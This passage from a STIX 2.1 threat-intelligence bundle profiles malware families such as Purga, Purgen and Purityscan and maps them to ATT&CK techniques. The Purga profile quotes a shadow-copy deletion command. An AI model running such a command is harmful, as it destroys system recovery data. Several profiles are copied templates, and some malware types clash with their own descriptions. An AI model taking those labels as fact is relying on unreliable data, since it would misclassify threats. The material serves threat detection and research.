Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Pulobe executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Pulobe frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Pulobe",
        "Downloader.Pulobe",
        "Win32/Pulobe"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pulobe",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pulobe"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f8c4288e-0224-5f90-bfb5-21ad28c422a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e9c812a2-4d36-51b8-8916-fc98bb8bafd9",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pulobe exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--132f4229-9288-56a2-87db-687e331279f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e9c812a2-4d36-51b8-8916-fc98bb8bafd9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pulobe exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a1dce78-f282-5f8a-a2a4-8bc840d75e2b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e9c812a2-4d36-51b8-8916-fc98bb8bafd9",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pulobe exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8a9bdc33-4828-59ac-b00a-a9d86a31ab7b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Puontib",
      "description": "<h3>Executive Summary</h3>\nPuontib is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPuontib is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Puontib operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Puontib ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Puontib receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Puontib infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Puontib executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Puontib frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Puontib",
        "Downloader.Puontib",
        "Win32/Puontib"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Puontib",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/puontib"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--637a7cee-7b19-5f60-b154-020c776f01f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a9bdc33-4828-59ac-b00a-a9d86a31ab7b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Puontib exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d60a302c-2360-5713-b4c6-46f70a8921a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a9bdc33-4828-59ac-b00a-a9d86a31ab7b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Puontib exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cf967f5a-f673-5466-b02b-9e225260347d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a9bdc33-4828-59ac-b00a-a9d86a31ab7b",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Puontib exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--de872584-23f3-5235-8705-3ec61518a1be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pupstudio",
      "description": "PupStudio (cataloged across endpoint security vendors under signatures including PUA:Win32/PupStudio, SoftwareBundler:Win32/PupStudio, and PUP.Optional.PupStudio) is a commercial software bundler, installer monetization framework, and potentially unwanted application suite active since 2016. Developed to monetize free utility downloads, media converters, and system customization tools, PupStudio repackages legitimate software within a customized installer framework. During installation, PupStudio presents multi-screen promotional offers with pre-selected installation toggles and deceptive button phrasing designed to steer users into installing sponsored third-party software. The components installed by PupStudio include browser hijackers, intrusive adware extensions, fake PC optimizers, and background telemetry collection agents. (Observed samples in benchmark: 33)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/PupStudio",
        "SoftwareBundler:Win32/PupStudio",
        "PUP.Optional.PupStudio",
        "Win32/PupStudio",
        "SoftwareBundler:Win32/PupStudio.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pupstudio",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pupstudio"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--04d0f40b-1e7c-5afd-b309-1790ee104585",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Purga",
      "description": "Ransom:Win32/Purga (or Trojan:Win32/Purga) is a severe threat generally classified as Ransomware. It is designed to extort victims by strongly encrypting critical personal or corporate data, appending a specific extension to the files, and demanding payment in cryptocurrency for the decryption key. The encryption routines utilized are typically unbreakable without the attacker's private key.<br><br><b>Understanding Purga</b><br>To an end-user, a Purga infection represents an immediate crisis: documents and databases are suddenly inaccessible, and a ransom note (often a `.txt` or `.hta` file) is presented on the desktop. For an enterprise, it triggers a 'Code Red' incident response, requiring immediate network isolation to prevent lateral movement and the encryption of enterprise file shares and backups.<br><br><b>Execution and Extortion Mechanics</b><br>Purga is frequently distributed via targeted phishing (`T1566.001`), exploit kits, or dropped by other initial access malware. Upon execution, it achieves persistence (`T1547.001`) and actively attempts to impair endpoint defenses (`T1562.001`). Crucially, before encryption begins, Purga executes commands like `vssadmin.exe delete shadows /all /quiet` to destroy Windows Volume Shadow Copies, preventing easy system restoration (`T1490`). It then rapidly iterates through the filesystem and mapped network drives, encrypting files matching high-value extensions (e.g., `.docx`, `.sql`, `.pdf`) using AES/RSA algorithms (`T1486`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is catastrophic data loss. Host-based IoCs include massive spikes in disk I/O and CPU usage during the encryption phase, the sudden appearance of ransom note files in every directory, and EDR alerts for `vssadmin.exe` or `wmic.exe` attempting to delete shadow copies. Network IoCs may include anomalous outbound traffic if the ransomware incorporates a data exfiltration module. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Purga",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/purga"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86924685-65d3-5d38-9807-af872739d1a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--04d0f40b-1e7c-5afd-b309-1790ee104585",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Purga exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--817d3edd-fb73-58bf-9367-89eb4cf7e7a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--04d0f40b-1e7c-5afd-b309-1790ee104585",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Purga exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--424b269d-8e4e-5b78-adc2-5dbc9b160ebf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--04d0f40b-1e7c-5afd-b309-1790ee104585",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Purga exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c6dac5e-b5f3-5c37-9666-f817c0003ff3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--04d0f40b-1e7c-5afd-b309-1790ee104585",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Purga exhibits technique T1048 (Exfiltration Over Alternative Protocol (Double Extortion))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6201221b-3d02-5ac5-8d92-af4242ba1c69",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Purgen",
      "description": "Trojan:Win32/Purgen is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Purgen</b><br>To an end-user, a Purgen infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Purgen is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Purgen is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Purgen frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Purgen reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Purgen",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/purgen"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c20db57-1709-5a0c-bb01-9bdaf0a0797b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6201221b-3d02-5ac5-8d92-af4242ba1c69",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Purgen exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ab1230f1-2b64-5f6a-abc0-5a3f862f83c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6201221b-3d02-5ac5-8d92-af4242ba1c69",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Purgen exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f37b9729-8455-5b3b-9680-517db4b85327",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6201221b-3d02-5ac5-8d92-af4242ba1c69",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Purgen exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--395fc414-14c7-525c-ba75-1ed4e6dc0f86",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6201221b-3d02-5ac5-8d92-af4242ba1c69",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Purgen exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b6cdc498-a6be-5203-a355-64bd0d928647",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6201221b-3d02-5ac5-8d92-af4242ba1c69",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Purgen exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--061a586b-c0c5-5b26-9338-b83c46296f4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Purgory",
      "description": "<h3>Executive Summary</h3>\nPurgory is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPurgory is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Purgory operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Purgory ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Purgory receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Purgory infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Purgory executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Purgory frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Purgory",
        "Downloader.Purgory",
        "Win32/Purgory"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Purgory",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/purgory"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0af8e5cd-f6b3-541b-acac-7e5c7bb8e541",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--061a586b-c0c5-5b26-9338-b83c46296f4f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Purgory exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a3746114-0b34-572e-b6c0-561535e35d88",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--061a586b-c0c5-5b26-9338-b83c46296f4f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Purgory exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d90b0702-be1a-5d31-b593-a24229fb4054",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--061a586b-c0c5-5b26-9338-b83c46296f4f",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Purgory exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b4f24ca2-9ebf-505d-b8e7-6963492bbe47",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Purityscan",
      "description": "Adware:Win32/Purityscan is an older, highly aggressive adware and spyware family that paved the way for modern Potentially Unwanted Programs (PUPs). Masquerading as a 'pornography blocker' or 'image scanner' (hence 'Purity'), its actual function is to aggressively hijack the user's browser, serve a massive volume of intrusive pop-up advertisements, and track browsing habits for affiliate revenue (`T1189`).<br><br><b>Understanding Purityscan (Aggressive Adware)</b><br>To an end-user, Purityscan was notorious for rendering a computer almost unusable due to the sheer volume of pop-up ads it generated. For IT security, it represents the deceptive nature of early adware, tricking users into installing a 'security' tool that is actually the malware itself.<br><br><b>Execution and Hijacking Mechanics</b><br>Purityscan was heavily distributed via deceptive advertising, bundled software, and sometimes ActiveX drive-by downloads. Upon execution, it entrenched itself deeply into the operating system. It established persistence by modifying Registry Run keys and creating Scheduled Tasks (`T1547.001`). Crucially, it injected its DLLs into the `explorer.exe` and `iexplore.exe` processes (`T1055`), allowing it to monitor all web traffic, intercept search queries, and force the browser to open new windows displaying advertisements from its affiliate networks.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is severe system degradation, loss of privacy, and an unusable web browsing experience. Host-based IoCs include the presence of the `purityscan.exe` executable, unauthorized DLL injection into browser processes, and extensive modifications to Internet Explorer's registry settings (BHOs, Start Page). Network IoCs involve constant HTTP traffic to known adware affiliate networks, even when the user is not actively browsing. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Purityscan",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/purityscan"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--156552fa-be78-53ed-ae85-c71f3188c9a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4f24ca2-9ebf-505d-b8e7-6963492bbe47",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Purityscan exhibits technique T1189 (Drive-by Compromise (Initial distribution via deceptive marketing and bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed4dc70d-84f0-594d-a42a-d773bb762df6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4f24ca2-9ebf-505d-b8e7-6963492bbe47",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Purityscan exhibits technique T1055 (Process Injection (Injecting DLLs into browsers to monitor traffic and serve ads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--528c22a8-a20b-5afa-be3f-456bcc06871f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4f24ca2-9ebf-505d-b8e7-6963492bbe47",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Purityscan exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys (Persistence mechanism))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e12f7f9d-1b2e-5c48-8d45-9e05cd9f1d62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pushel",
      "description": "Trojan:Win32/Pushel is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Pushel</b><br>To an end-user, a Pushel infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Pushel is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Pushel is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Pushel frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Pushel reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pushel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pushel"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--29d38850-7e20-5a99-9619-8f035954cc68",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e12f7f9d-1b2e-5c48-8d45-9e05cd9f1d62",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pushel exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3806f656-fdd3-59f1-a031-119802bbfb35",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e12f7f9d-1b2e-5c48-8d45-9e05cd9f1d62",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pushel exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e07c82a-c366-5cad-a041-31395d06a48b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
